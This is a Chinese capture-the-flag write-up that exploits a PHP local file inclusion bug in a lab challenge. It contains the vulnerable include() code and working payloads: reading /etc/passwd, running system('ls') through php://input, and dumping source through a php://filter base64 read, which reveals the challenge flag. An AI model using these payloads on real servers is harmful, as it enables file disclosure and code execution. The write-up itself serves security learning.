D-6--Include(本地文件包含)

题目:

题目指出了文件包含,于是看看源码,看来是include()函数导致文件包含。

题目链接如下,因为源码提示,如果接受到path参数,就包含path参数内容(本地文件),如果没接收到该参数,就包含phpinfo.php文件。

http://56ed22a560b04906a2655392b2d2fca7da6ac6021691428c.game.ichunqiu.com

show_source(__FILE__);

if(isset( $_REQUEST['path']) ){

include( $_REQUEST['path'] );

}else{

include('phpinfo.php');

}

于是我在URL链接后加”?path=/etc/passwd”,顺利找到密码文件。。

接下来考虑,能否直接显示flag 文件呢?但是我不知道flag文件的路径。


做一下信息搜集,phpinfo.php显示版本 5.6.29,nginx/1.10.2

allow_url_include,显示on。据说php5.2之后默认为off, 这算应用配置错误吗?

/var/log/*nginx/*access.log

/var/log/httpd-access.log

/var/www/log/httpd-access.log 
,尝试找到日志文件来写入命令?但没找到正确的路径

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

http://php.net/manual/zh/wrappers.php.php 关于php封装协议。

添加参数?path=php://input,并post数据”<?php
system('ls');?>“,显示

dle345aae.php

index.php

phpinfo.php

参考靶机实验。。。path=php://filter/convert.base64-encode/resource=dle345aae.php

PD9waHAgCiRmbGFnPSJmbGFnezliYTE1NTA0LWEwNjgtNDg0Ny1hNmMzLTRiYzgz

ZjBlMWYyY30iOwo=

base64解码以后获得flag
:::
:::
:::